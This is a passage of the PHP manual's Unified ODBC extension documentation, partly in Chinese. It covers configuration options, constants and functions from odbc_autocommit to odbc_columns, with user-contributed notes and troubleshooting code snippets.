    • odbc_field_num — Return column number
    • odbc_field_precision — 别名 odbc_field_len
    • odbc_field_scale — Get the scale of a field
    • odbc_field_type — Datatype of a field
    • odbc_foreignkeys — Retrieves a list of foreign keys
    • odbc_free_result — Free resources associated with a result
    • odbc_gettypeinfo — Retrieves information about data types supported by the data source
    • odbc_longreadlen — Handling of LONG columns
    • odbc_next_result — Checks if multiple results are available
    • odbc_num_fields — Number of columns in a result
    • odbc_num_rows — Number of rows in a result
    • odbc_pconnect — Open a persistent database connection
    • odbc_prepare — Prepares a statement for execution
    • odbc_primarykeys — Gets the primary keys for a table
    • odbc_procedurecolumns — Retrieve information about parameters to procedures
    • odbc_procedures — Get the list of procedures stored in a specific data source
    • odbc_result_all — Print result as HTML table
    • odbc_result — Get result data
    • odbc_rollback — Rollback a transaction
    • odbc_setoption — Adjust ODBC settings
    • odbc_specialcolumns — Retrieves special columns
    • odbc_statistics — Retrieve statistics about a table
    • odbc_tableprivileges — Lists tables and the privileges associated with each table
    • odbc_tables — Get the list of table names stored in a specific data source

User Contributed Notes

There are no user contributed notes for this page.


简介

In addition to normal ODBC support, the Unified ODBC functions in PHP allow you to access several databases that have borrowed the semantics of the ODBC API to implement their own API. Instead of maintaining multiple database drivers that were all nearly identical, these drivers have been unified into a single set of ODBC functions.

The following databases are supported by the Unified ODBC functions: » Adabas D, » IBM DB2, » iODBC, » Solid, and » Sybase SQL Anywhere.

Note:

With the exception of iODBC, there is no ODBC involved when connecting to the above databases. The functions that you use to speak natively to them just happen to share the same names and syntax as the ODBC functions. However, building PHP with iODBC support enables you to use any ODBC-compliant drivers with your PHP applications. More information on iODBC, is available at » www.iodbc.org with the alternative unixODBC available at » www.unixodbc.org.

User Contributed Notes

There are no user contributed notes for this page.


需求

To access any of the supported databases you need to have the required libraries installed.

User Contributed Notes

There are no user contributed notes for this page.


安装

--with-adabas[=DIR]

Include Adabas D support. DIR is the Adabas base install directory, defaults to /usr/local.

--with-sapdb[=DIR]

Include SAP DB support. DIR is SAP DB base install directory, defaults to /usr/local.

--with-solid[=DIR]

Include Solid support. DIR is the Solid base install directory, defaults to /usr/local/solid.

--with-ibm-db2[=DIR]

Include IBM DB2 support. DIR is the DB2 base install directory, defaults to /home/db2inst1/sqllib.

--with-empress[=DIR]

Include Empress support. DIR is the Empress base install directory, defaults to $EMPRESSPATH. This option only supports Empress Version 8.60 and above.

--with-empress-bcs[=DIR]

Include "Empress Local Access" support. DIR is the Empress base install directory, defaults to $EMPRESSPATH. This option only supports Empress Version 8.60 and above.

--with-birdstep[=DIR]

Include Birdstep support. DIR is the Birdstep base install directory, defaults to /usr/local/birdstep.

--with-custom-odbc[=DIR]

Include a user defined ODBC support. The DIR is ODBC install base directory, which defaults to /usr/local. Make sure to define CUSTOM_ODBC_LIBS and have some odbc.h in your include dirs. E.g., you should define following for Sybase SQL Anywhere 5.5.00 on QNX, prior to run configure script:

   CPPFLAGS="-DODBC_QNX -DSQLANY_BUG"
   LDFLAGS=-lunix
   CUSTOM_ODBC_LIBS="-ldblib -lodbc".

--with-iodbc[=DIR]

Include iODBC support. DIR is the iODBC base install directory, defaults to /usr/local.

--with-esoob[=DIR]

Include Easysoft OOB support. DIR is the OOB base install directory, defaults to /usr/local/easysoft/oob/client.

--with-unixODBC[=DIR]

Include unixODBC support. DIR is the unixODBC base install directory, defaults to /usr/local.

--with-openlink[=DIR]

Include OpenLink ODBC support. DIR is the OpenLink base install directory, defaults to /usr/local. This is the same as iODBC.

--with-dbmaker[=DIR]

Include DBMaker support. DIR is the DBMaker base install directory, defaults to where the latest version of DBMaker is installed (such as /home/dbmaker/3.6).

Windows users must enable php_odbc.dll in order to use this extension.

User Contributed Notes

alvaro at demogracia dot com 24-Jul-2012 07:18
To avoid ?[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified?:

- Find the ODBC manager in Windows control panel and check the "Drivers" tab. Please note that 64 bit Windows has two different managers for 32 [1] and 64 bit drivers: drivers must match your PHP installation.

- If the required driver doesn't show up there, you need to install it. The free "Microsoft Access Database Engine 2010 Redistributable" package [2] is one of the possibilities for Access and Excel.

- When connecting with odbc_connect(), make sure you are using the exact driver name in the DRIVER parameter: 'Microsoft Access Driver (*.mdb)' will not work if your driver is called 'Microsoft Access Driver (*.mdb, *.accdb)'.

[1] C:\Windows\SysWOW64\odbcad32.exe
[2] http://www.microsoft.com/en-us/download/details.aspx?id=13255


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Unified ODBC Configuration Options
名字 | 默认 | 可修改范围 | 更新日志
odbc.default_db * | NULL | PHP_INI_ALL |
odbc.default_user * | NULL | PHP_INI_ALL |
odbc.default_pw * | NULL | PHP_INI_ALL |
odbc.allow_persistent | "1" | PHP_INI_SYSTEM |
odbc.check_persistent | "1" | PHP_INI_SYSTEM |
odbc.max_persistent | "-1" | PHP_INI_SYSTEM |
odbc.max_links | "-1" | PHP_INI_SYSTEM |
odbc.defaultlrl | "4096" | PHP_INI_ALL |
odbc.defaultbinmode | "1" | PHP_INI_ALL |
odbc.default_cursortype | "3" | PHP_INI_ALL |

Note: Entries marked with * are not implemented yet.

有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

odbc.default_db string

ODBC data source to use if none is specified in odbc_connect() or odbc_pconnect().

odbc.default_user string

User name to use if none is specified in odbc_connect() or odbc_pconnect().

odbc.default_pw string

Password to use if none is specified in odbc_connect() or odbc_pconnect().

odbc.allow_persistent bool

Whether to allow persistent ODBC connections.

odbc.check_persistent bool

Check that a connection is still valid before reuse.

odbc.max_persistent int

The maximum number of persistent ODBC connections per process.

odbc.max_links int

The maximum number of ODBC connections per process, including persistent connections.

odbc.defaultlrl int

Handling of LONG fields. Specifies the number of bytes returned to variables. See odbc_longreadlen() for details.

当使用 int 时, 其值以字节来衡量。还可以使用在 FAQ 中描述的速记符。
odbc.defaultbinmode int

Handling of binary data. See odbc_binmode() for details.

odbc.default_cursortype int

Controls the ODBC cursor model. Possible values are SQL_CURSOR_FORWARD_ONLY, SQL_CURSOR_KEYSET_DRIVEN, SQL_CURSOR_DYNAMIC and SQL_CURSOR_STATIC (default).

User Contributed Notes

There are no user contributed notes for this page.


资源类型

This extension defines two resource types: an ODBC connection identifier and an ODBC result identifier.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

ODBC_TYPE (string)
ODBC_BINMODE_PASSTHRU (int)
ODBC_BINMODE_RETURN (int)
ODBC_BINMODE_CONVERT (int)
SQL_ODBC_CURSORS (int)
SQL_CUR_USE_DRIVER (int)
SQL_CUR_USE_IF_NEEDED (int)
SQL_CUR_USE_ODBC (int)
SQL_CONCURRENCY (int)
SQL_CONCUR_READ_ONLY (int)
SQL_CONCUR_LOCK (int)
SQL_CONCUR_ROWVER (int)
SQL_CONCUR_VALUES (int)
SQL_CURSOR_TYPE (int)
SQL_CURSOR_FORWARD_ONLY (int)
SQL_CURSOR_KEYSET_DRIVEN (int)
SQL_CURSOR_DYNAMIC (int)
SQL_CURSOR_STATIC (int)
SQL_KEYSET_SIZE (int)
SQL_CHAR (int)
SQL_VARCHAR (int)
SQL_LONGVARCHAR (int)
SQL_DECIMAL (int)
SQL_NUMERIC (int)
SQL_BIT (int)
SQL_TINYINT (int)
SQL_SMALLINT (int)
SQL_INTEGER (int)
SQL_BIGINT (int)
SQL_REAL (int)
SQL_FLOAT (int)
SQL_DOUBLE (int)
SQL_BINARY (int)
SQL_VARBINARY (int)
SQL_LONGVARBINARY (int)
SQL_DATE (int)
SQL_TIME (int)
SQL_TIMESTAMP (int)
SQL_TYPE_DATE (int)
SQL_TYPE_TIME (int)
SQL_TYPE_TIMESTAMP (int)
SQL_BEST_ROWID (int)
SQL_ROWVER (int)
SQL_SCOPE_CURROW (int)
SQL_SCOPE_TRANSACTION (int)
SQL_SCOPE_SESSION (int)
SQL_NO_NULLS (int)
SQL_NULLABLE (int)
SQL_INDEX_UNIQUE (int)
SQL_INDEX_ALL (int)
SQL_ENSURE (int)
SQL_QUICK (int)

User Contributed Notes

There are no user contributed notes for this page.


ODBC 函数

Table of Contents

  • odbc_autocommit — Toggle autocommit behaviour
  • odbc_binmode — Handling of binary column data
  • odbc_close_all — Close all ODBC connections
  • odbc_close — Close an ODBC connection
  • odbc_columnprivileges — Lists columns and associated privileges for the given table
  • odbc_columns — Lists the column names in specified tables
  • odbc_commit — Commit an ODBC transaction
  • odbc_connect — Connect to a datasource
  • odbc_connection_string_is_quoted — Determines if an ODBC connection string value is quoted
  • odbc_connection_string_quote — Quotes an ODBC connection string value
  • odbc_connection_string_should_quote — Determines if an ODBC connection string value should be quoted
  • odbc_cursor — Get cursorname
  • odbc_data_source — Returns information about available DSNs
  • odbc_do — 别名 odbc_exec
  • odbc_error — Get the last error code
  • odbc_errormsg — Get the last error message
  • odbc_exec — Directly execute an SQL statement
  • odbc_execute — Execute a prepared statement
  • odbc_fetch_array — Fetch a result row as an associative array
  • odbc_fetch_into — Fetch one result row into array
  • odbc_fetch_object — Fetch a result row as an object
  • odbc_fetch_row — Fetch a row
  • odbc_field_len — Get the length (precision) of a field
  • odbc_field_name — Get the columnname
  • odbc_field_num — Return column number
  • odbc_field_precision — 别名 odbc_field_len
  • odbc_field_scale — Get the scale of a field
  • odbc_field_type — Datatype of a field
  • odbc_foreignkeys — Retrieves a list of foreign keys
  • odbc_free_result — Free resources associated with a result
  • odbc_gettypeinfo — Retrieves information about data types supported by the data source
  • odbc_longreadlen — Handling of LONG columns
  • odbc_next_result — Checks if multiple results are available
  • odbc_num_fields — Number of columns in a result
  • odbc_num_rows — Number of rows in a result
  • odbc_pconnect — Open a persistent database connection
  • odbc_prepare — Prepares a statement for execution
  • odbc_primarykeys — Gets the primary keys for a table
  • odbc_procedurecolumns — Retrieve information about parameters to procedures
  • odbc_procedures — Get the list of procedures stored in a specific data source
  • odbc_result_all — Print result as HTML table
  • odbc_result — Get result data
  • odbc_rollback — Rollback a transaction
  • odbc_setoption — Adjust ODBC settings
  • odbc_specialcolumns — Retrieves special columns
  • odbc_statistics — Retrieve statistics about a table
  • odbc_tableprivileges — Lists tables and the privileges associated with each table
  • odbc_tables — Get the list of table names stored in a specific data source

User Contributed Notes

chaz_meister_rock at yahoo dot com 29-Aug-2007 11:54
Windows 64 Caveats with ODBC

I'm pretty sure PHP only accesses the 32-bit ODBC stuff on Windows 64.  Therefore, you will need to configure your ODBC DSNs via the Data Source Administrator found at:

/WINDOWS/SysWOW64/odbcad32.exe
11-Oct-2006 07:28
I had big performance problems retrieving data form MS SQL Server with odbc only when the query was unsing a join.

I found out, that I had to connect with the cursor-type "SQL_CUR_USE_ODBC" and everything was ok:

$conn = odbc_connect("ShopLive", 'shop', 'xxx', SQL_CUR_USE_ODBC);
sven at ajaxtechforums dot com 27-Feb-2006 03:07
I found this to be a perfect alternative to the MaxDB special drivers of version 7.5.00. Just weren't that easy to install on *nix. Windows seems fine. Anyway The ODBC is a perfect alternative for connecting the SAPDB/MaxDB towards PHP.

Installation guide for the odbc alternative (instead of the MAXDB-php driver) can be found here:

http://maxdb.yapabout.com/viewtopic.php?t=21
xangelusx at hotmail dot com 11-Nov-2005 07:45
If you receive an error stating "Connection is busy with results for another hstmt, SQL state S1000 in SQLExecDirect" try opening your odbc connection using the SQL_CURSOR_FORWARD_ONLY option

<?php
$db_link = odbc_connect($dsn, $username, $password, SQL_CURSOR_FORWARD_ONLY)
    or die('Error connecting to server. Server says: '.htmlspecialchars(odbc_errormsg()));
?>
Quickdraw 05-May-2005 11:06
In response to Holger's comment about using @@identity:

Be carefull. If the table you're inserting into has a trigger that also inserts into another table that has an identity column you'll get the key of that other table! use scope_identity() instead of @@identity
04-May-2005 08:14
I searched for the solution of why odbc connection of a network remote drive under Windows + Apache 2.0.X, cannot give the query, but seems no one provides the solution.

In fact, it is very simple.
Go to Control Panal -> Services;
Find and double click "Apache2";
In the page of "Log On", choose Log on as "This account" and give an account in the web server system which have the right to control the network remote drive;
Finally, restart Apache, and that's it.
denials at gmail dot com 23-Jan-2005 03:05
Ever wonder why you're experiencing really slow data retrieval times using IBM DB2 Universal Database for Linux, UNIX, and Windows? The default cursor type used by Unified ODBC is not supported by DB2, so it gets downgraded to a forward-only cursor -- and that negotiation occurs with every row fetch.

One way to force your PHP applications to use forward-only cursors is to modify your DB2 client configuration with a handy CLI patch2 setting value of 6:

$ db2 UPDATE CLI CONFIGURATION FOR SECTION dbname USING patch2 6

You have to update this client setting on the same machine on which you are running the PHP application. This works on Windows operating systems as well as on Linux & UNIX operating systems.

I ran a few basic benchmarks (fetch 10,000 rows consisting of 3 INTEGER columns from a remote database server) and concluded that this setting can make a major difference to your application speed:

Without CLI patch2 setting: ~22 seconds
With CLI patch2 setting: ~ 1.75 seconds

Note that the drawback of using this patch setting (or any other method of using forward-only cursors) makes odbc_num_rows() always return "-1" for the number of rows affected by a SELECT statement.
pascals at NOSPAM dot pobox dot com 27-Feb-2004 03:15
If the bundled ODBC library stumbles on some field formats (like some REAL from Pervasive.SQL), have a look at http://odbtp.sourceforge.net/.

After many headaches, I have adoped odbtp: it's a very solid library and best of all it's not tied to a particular OS.
vbwebprofi at gmx dot de 04-Nov-2003 04:31
On my search for a function to retriew the NewID of an inserted row wich has an autoincrement I found this solution like the mysql_insert_id for an ODBC connection to MS-Access :

<?
// make your connection below
$Connection = odbc_connect(...);
$Result = odbc_exec($Connection, "select @@identity");
$NewID = odbc_result($Result, 1);
odbc_free_result($Result);

// make here all what you want with the NewID

odbc_close($Connection);
?>

In my mind this should also work with MS-SQL-Server and with Sybase - via ODBC and direct (mssql_.../sybase_...).

HTH ...

Regards

Holger


Toggle autocommit behaviour

  • ? ODBC 函数
  • odbc_binmode ?
  • PHP Manual
  • ODBC 函数
  • Toggle autocommit behaviour

odbc_autocommit

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_autocommit — Toggle autocommit behaviour

说明

odbc_autocommit(resource $odbc, bool $enable = null): int|bool

Toggles autocommit behaviour.

By default, auto-commit is on for a connection. Disabling auto-commit is equivalent with starting a transaction.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

enable

If enable is true, auto-commit is enabled, if it is false auto-commit is disabled. If null is passed, this function returns the auto-commit status for odbc.

返回值

Without the enable parameter, this function returns auto-commit status for odbc. Non-zero is returned if auto-commit is on, 0 if it is off, or false if an error occurs.

If enable is set, this function returns true on success and false on failure.

更新日志

版本 | 说明
8.3.0 | enable is now nullable.

参见

  • odbc_commit() - Commit an ODBC transaction
  • odbc_rollback() - Rollback a transaction

User Contributed Notes

alvaro at demogracia dot com 06-Aug-2008 01:18
If you are using persistent connections (odbc_pconnect rather than odbc_connect) the next script that reuses the connection will inherit your changes to autocommit.
Orgied - info at orgied dot com 05-Apr-2005 11:58
Hi (i'm belgian then sorry for my english).

I think you can do more simple to check the errors :

$conn = odbc_connect($odbc,$user,$password)
    or die($error);

odbc_autocommit($conn, FALSE);

odbc_exec($conn, $query1);
odbc_exec($conn, $query2);

if (!odbc_error())
      odbc_commit($conn);
else
      odbc_rollback($conn);

odbc_close($conn);

I'm not sure it's better to use odbc_error() than
odbc_error($conn). It seems to be the same result.
Joe 26-May-2004 09:01
It seems that example made by andrea dot galli at acotel dot com works exactly the contrary.

It sets autocommit OFF and NOT ON like it's written inside note!
JRog 25-Jun-2003 01:30
If a transaction is started (autocommit disabled) while there is an active result id on the connection, odbc_autocommit will post a warning (Cannot set autocommit).  Use odbc_free_result to clear the result id's or start the transaction before you execute the SQL.
andrea dot galli at acotel dot com 28-Apr-2003 09:48
Example: set autocommit on

<?php

   $Link_ID = odbc_connect("DSN", "user", "pass");

    $Return = odbc_autocommit($Link_ID, FALSE);

?>
alonsoalonsocr at yahoo dot com 08-Oct-2001 03:09
When used in a odbc_fetch loop your selected resultset is lost and loop ends.


Handling of binary column data

  • ? odbc_autocommit
  • odbc_close_all ?
  • PHP Manual
  • ODBC 函数
  • Handling of binary column data

odbc_binmode

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_binmode — Handling of binary column data

说明

odbc_binmode(resource $statement, int $mode): bool

Controls handling of binary column data. ODBC SQL types affected are BINARY, VARBINARY, and LONGVARBINARY. The default mode can be set using the uodbc.defaultbinmode php.ini directive.

When binary SQL data is converted to character C data (ODBC_BINMODE_CONVERT), each byte (8 bits) of source data is represented as two ASCII characters. These characters are the ASCII character representation of the number in its hexadecimal form. For example, a binary 00000001 is converted to "01" and a binary 11111111 is converted to "FF".

While the handling of BINARY and VARBINARY columns only depend on the binmode, the handling of LONGVARBINARY columns also depends on the longreadlen as well:

LONGVARBINARY handling
binmode | longreadlen | result
ODBC_BINMODE_PASSTHRU | 0 | passthru
ODBC_BINMODE_RETURN | 0 | passthru
ODBC_BINMODE_CONVERT | 0 | passthru
ODBC_BINMODE_PASSTHRU | >0 | passthru
ODBC_BINMODE_RETURN | >0 | return as is
ODBC_BINMODE_CONVERT | >0 | return as char

If odbc_fetch_into() is used, passthru means that an empty string is returned for these columns. If odbc_result() is used, passthru means that the data are sent directly to the client (i.e. printed).

参数

statement

The result identifier.

If statement is 0, the settings apply as default for new results.

mode

Possible values for mode are:

  • ODBC_BINMODE_PASSTHRU: Passthru BINARY data
  • ODBC_BINMODE_RETURN: Return as is
  • ODBC_BINMODE_CONVERT: Convert to char and return

Note: Handling of binary long columns is also affected by odbc_longreadlen().

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

yhalmoe at yahoo dot no 14-Dec-2009 08:45
For Sybase users (this probably applies to MS-SQL Server as well) who are using ODBC:

I was using the same code as mizmerize, but I was getting truncated data back from the server (at the 32kb mark) when selecting data with the image datatype. My Sybase server has a @@textsize property of 2Gb, which should be plenty. But apparently, the php ODBC driver resets this to 32Kb when a connection is made, and then sets it back to 2Gb after. The solution is to do a query:

<?php odbc_exec($connH, "set textsize 131072"); ?>

immediately before your main query, in mizmerize's code. That should override the default setting.
bortuzar 12-Feb-2009 07:28
I set the odbc_longreadlen() at the beggining of my script so nText field types dont get truncated, like this:

<?php odbc_longreadlen (0, 1000000); ?>
mizmerize at yahoo dot com 10-Jan-2006 06:59
I am currently using an SQL Server 2000 used as a datasource for ODBC access, Testing PHP scripts from an Apache 2 server running on Windows 2000.

I was trying to get an image from the database using ODBC but the output always flushes automatically while I was just getting the result using odbc_result() function.

With this code, the picture automatically prints to the browser as soon as I hit odbc_result() (probably a bug, but bug reports aren't that easy to do).

<?php
  $connH=odbc_pconnect("ImageDB","sa","",SQL_CUR_USE_IF_NEEDED) or die(odbc_errormsg());
    $result=odbc_exec($connH, "SELECT Emp_Image FROM tblEmployeePics WHERE Emp_Id=547");
    if ($result) {
        odbc_longreadlen($result, 131072);
        odbc_binmode($result,ODBC_BINMODE_PASSTHRU);
//upon calling this, the output flushes out to the browser... made me scratch
$m_FValue=odbc_result($result, 1);
}
?>

...after 48 hours of scratching I finally made a work around, but by using a function in the bin2hex() function documentation...

<?php
      function hex2bin($data){
       $len = strlen($data);
       return pack("H" . $len, $data);
    }

    $connH=odbc_pconnect("ImageDB","sa","",SQL_CUR_USE_IF_NEEDED) or die(odbc_errormsg());
    $result=odbc_exec($connH, "SELECT Emp_Image FROM tblEmployeePics WHERE Emp_Id=547");
    if ($result) {
        odbc_longreadlen($result, 131072);
        odbc_binmode($result,ODBC_BINMODE_CONVERT);
        $m_FValue=odbc_result($result, 1);
        $out=hex2bin($m_FValue);
    }
?>

The trick was to convert the output into hex by changing odbc_binmode to  ODBC_BINMODE_CONVERT and using a handy function to convert it back to binary in order to facilitate manipulation of its size, depth etc...
andrea dot galli at acotel dot com 28-Apr-2003 08:27
Example: retrieve image from database.

<?php

   $Link_ID = odbc_connect("DSN", "user", "pass");
   $Query_ID = odbc_exec($Link_ID, "SELECT picture FROM categories");

   // change to ODBC_BINMODE_CONVERT for comparison

   odbc_binmode($Query_ID, ODBC_BINMODE_RETURN);

   $Images = odbc_result($Query_ID, 1);

   echo $Images;

?>


Close all ODBC connections

  • ? odbc_binmode
  • odbc_close ?
  • PHP Manual
  • ODBC 函数
  • Close all ODBC connections

odbc_close_all

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_close_all — Close all ODBC connections

说明

odbc_close_all(): void

odbc_close_all() will close down all connections to database server(s).

参数

此函数没有参数。

返回值

没有返回值。

注释

Note:

This function will fail if there are open transactions on a connection. This connection will remain open in this case.

User Contributed Notes

alvaro at demogracia dot com 19-Sep-2008 02:08
Apparently, it doesn't really close *all* connections; just those used by the current script.

If you are using persistent connections, every time a script does an odbc_pconnect() and all open connections are in use you'll get a new connection with the same credentials. You won't close them all with odbc_close_all().


Close an ODBC connection

  • ? odbc_close_all
  • odbc_columnprivileges ?
  • PHP Manual
  • ODBC 函数
  • Close an ODBC connection

odbc_close

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_close — Close an ODBC connection

说明

odbc_close(resource $odbc): void

Closes down the connection to the database server.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

返回值

没有返回值。

注释

Note:

This function will fail if there are open transactions on this connection. The connection will remain open in this case.

User Contributed Notes

alvaro at demogracia dot com 26-Mar-2018 10:33
`odbc_close()` does not report success and some drivers (namely Microsoft Access) don't seem to close connections at first attempt. This is normally not an issue, unless you need to establish many connections within the script lifetime.

You can use the fact that resource type changes (e.g. from "odbc link" to "Unknown") as a trick to figure out whether connection was successfully closed (and eventually retry):

<?php
$type = get_resource_type($conn);
$wait_until = time() + 3;
do {
    odbc_close($conexion_odbc);
} while (get_resource_type($conn)===$type && time()<$wait_until);


Lists columns and associated privileges for the given table

  • ? odbc_close
  • odbc_columns ?
  • PHP Manual
  • ODBC 函数
  • Lists columns and associated privileges for the given table

odbc_columnprivileges

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_columnprivileges — Lists columns and associated privileges for the given table

说明

odbc_columnprivileges(
resource $odbc,
?string $catalog,
string $schema,
string $table,
string $column
): resource|false

Lists columns and associated privileges for the given table.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

catalog

The catalog ('qualifier' in ODBC 2 parlance).

schema

The schema ('owner' in ODBC 2 parlance). 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

table

The table name. 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

column

The column name. 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

返回值

Returns an ODBC result identifier 或者在失败时返回 false. This result identifier can be used to fetch a list of columns and associated privileges.

The result set has the following columns:

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • COLUMN_NAME
  • GRANTOR
  • GRANTEE
  • PRIVILEGE
  • IS_GRANTABLE
Drivers can report additional columns.

The result set is ordered by TABLE_CAT, TABLE_SCHEM, TABLE_NAME, COLUMN_NAME and PRIVILEGE.

示例

Example #1 List Privileges for a Column

<?php
$conn = odbc_connect($dsn, $user, $pass);
$privileges = odbc_columnprivileges($conn, 'TutorialDB', 'dbo', 'test', 'id');
while (($row = odbc_fetch_array($privileges))) {
print_r($row);
break; // further rows omitted for brevity
}
?>

以上示例的输出类似于：

Array
(
    [TABLE_CAT] => TutorialDB
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => test
    [COLUMN_NAME] => id
    [GRANTOR] => dbo
    [GRANTEE] => dbo
    [PRIVILEGE] => INSERT
    [IS_GRANTABLE] => YES
)

User Contributed Notes

There are no user contributed notes for this page.


Lists the column names in specified tables

  • ? odbc_columnprivileges
  • odbc_commit ?
  • PHP Manual
  • ODBC 函数
  • Lists the column names in specified tables

odbc_columns

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_columns — Lists the column names in specified tables

说明

odbc_columns(
resource $odbc,
?string $catalog = null,
?string $schema = null,
?string $table = null,
?string $column = null
): resource|false

Lists all columns in the requested range.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

catalog

The catalog ('qualifier' in ODBC 2 parlance).

schema

The schema ('owner' in ODBC 2 parlance). 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

table

The table name. 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

column

The column name. 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

返回值

Returns an ODBC result identifier 或者在失败时返回 false.

The result set has the following columns:

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • COLUMN_NAME
  • DATA_TYPE
  • TYPE_NAME
  • COLUMN_SIZE
  • BUFFER_LENGTH
  • DECIMAL_DIGITS
  • NUM_PREC_RADIX
  • NULLABLE
  • REMARKS
  • COLUMN_DEF
  • SQL_DATA_TYPE
  • SQL_DATETIME_SUB
  • CHAR_OCTET_LENGTH
  • ORDINAL_POSITION
  • IS_NULLABLE
Drivers can report additional columns.

The result set is ordered by TABLE_CAT, TABLE_SCHEM, TABLE_NAME and ORDINAL_POSITION.

更新日志

版本 | 说明
8.0.0 | schema, table and column are now nullable.

示例

Example #1 List Columns of a Table

<?php
$conn = odbc_connect($dsn, $user, $pass);
$columns = odbc_columns($conn, 'TutorialDB', 'dbo', 'test', '%');
while (($row = odbc_fetch_array($columns))) {
print_r($row);
break; // further rows omitted for brevity
}
?>

以上示例的输出类似于：

Array
(
    [TABLE_CAT] => TutorialDB
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => TEST
    [COLUMN_NAME] => id
    [DATA_TYPE] => 4
    [TYPE_NAME] => int
    [COLUMN_SIZE] => 10
    [BUFFER_LENGTH] => 4
    [DECIMAL_DIGITS] => 0
    [NUM_PREC_RADIX] => 10
    [NULLABLE] => 0
    [REMARKS] =>
    [COLUMN_DEF] =>
    [SQL_DATA_TYPE] => 4
    [SQL_DATETIME_SUB] =>
    [CHAR_OCTET_LENGTH] =>
    [ORDINAL_POSITION] => 1
    [IS_NULLABLE] => NO
)

参见

  • odbc_columnprivileges() - Lists columns and associated privileges for the given table
  • odbc_procedurecolumns() - Retrieve information about parameters to procedures

User Contributed Notes

tom at jargonsoft dot com 08-Sep-2019 05:33
The docs on this page are among the worst in php. I know docs are traditionally terrible for open source code, but this is NOT acceptable:
Qualifer: the qualifer. REALLY??
How about: ComplexFieldWithManyRules: the ComplexFieldWithManyRules.
Give me a break.
How about actually defining the meaning and how to use it?
Along with several EXAMPLES!!
You are giving software developers a bad name with junk like this.
eion at robbmob dot com 12-Apr-2012 03:47
Sometimes the array keys of the results of odbc_columns() can be in lower case, instead of upper case (eg 'column_name' instead of 'COLUMN_NAME').  This can vary depending on which ODBC driver you are connecting to.
Thomas 16-Jun-2009 06:46
[MS SQL Server 2005/2008, PHP 5]

Imagine you would need to access the column names of a specific table, for instance to display them as table headers for fields with missing information. While browsing the documentation I was kind of lost how to use odbc_columns() without the usage of odbc_result_all() which outputs EVERYTHING in a single HTML table.

Here is a way to stuff all output into an array and then access only one or more fields of the odbc_columns() output:

<?php
include('connect.inc'); // <== Put all your database connection parameters in here. (DSN, PWD, USR, mssql_connect, etc.; returns $connection)

$outval = odbc_columns($connection, "your DB name", "%", "your table name", "%");

$pages = array();
while (odbc_fetch_into($outval, $pages)) {
        echo $pages[3] . "<br />\n"; // presents all fields of the array $pages in a new line until the array pointer reaches the end of array data
    }
?>

Now your array $pages will have the following contents:
([x] is the array index displayed here for better understanding)

[0] TABLE_CAT <== your DB name
[1] TABLE_SCHEM <== dbo, your table scheme
[2] TABLE_NAME <== your table name
[3] COLUMN_NAME <== your column names (selected all with "%" in odbc_columns() )
[4] DATA_TYPE <== -8
[5] TYPE_NAME <== nchar (corresponds to -8, 11 f.i. is datetime and so on)
[6] COLUMN_SIZE <== num. val.
[7] BUFFER_LENGTH <== num. val.
[8] DECIMAL_DIGITS <== num. val. or NULL
[9] NUM_PREC_RADIX <== num. val. or NULL
[10] NULLABLE <== num. val.
[11] REMARKS <== num. val. or NULL
[12] COLUMN_DEF <== num. val. or NULL
[13] SQL_DATA_TYPE <== num. val.
[14] SQL_DATETIME_SUB <== num. val. or NULL
[15] CHAR_OCTET_LENGTH <== num. val. or NULL
[16] ORDINAL_POSITION <== num. val.
[17] IS_NULLABLE <== YES/NO
[18] SS_DATA_TYPE <== num. val.

Now you can access each field recursivly by its key and output only the DESIRED fields instead of having ALL output from odbc_result_all().
Please note that the array key starts at zero (0) instead of one (1), so echo $pages[3] selects COLUMN_NAME from the above list.

I hope this helps...

Cheers
Thomas
php dot lpatrick at spamgourmet dot com 02-May-2008 10:52
Since I was just looking for table descriptions of an MS Access file I didn't know the table structure of, I wrote this (where $inputfile is the Access file name):

<?php
$conn = odbc_connect("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=".$inputfile;, "", "");

$tabs = odbc_tables($conn);
$tables = array();
while (odbc_fetch_row($tabs)){
    if (odbc_result($tabs,"TABLE_TYPE")=="TABLE") {
        $table_name = odbc_result($tabs,"TABLE_NAME");
        $tables["{$table_name}"] = array();
        $cols = odbc_exec($conn,'select * from `'.$table_name.'` where 1=2');  // we don't want content
      $ncols = odbc_num_fields($cols);
        for ($n=1; $n<=$ncols; $n++) {
            $field_name = odbc_field_name($cols, $n);
            $tables["{$table_name}"]["{$field_name}"]['len'] = odbc_field_len($cols, $n);
            $tables["{$table_name}"]["{$field_name}"]['type'] = odbc_field_type($cols, $n);
        }
    }
}
odbc_close ($conn);
print_r($tables);
?>
jeremie dot legrand at komori-chambon dot fr 19-Feb-2008 02:43
Here is the way to use odbc_columns() with "Attunity Connect", an ODBC connector to VMS :

$db = "my_database";
$table = "my_table";
$con = odbc_connect($db, "user", "password");
$result = odbc_columns($con, $db, "", $table, "%");
while (odbc_fetch_row($resu)) {
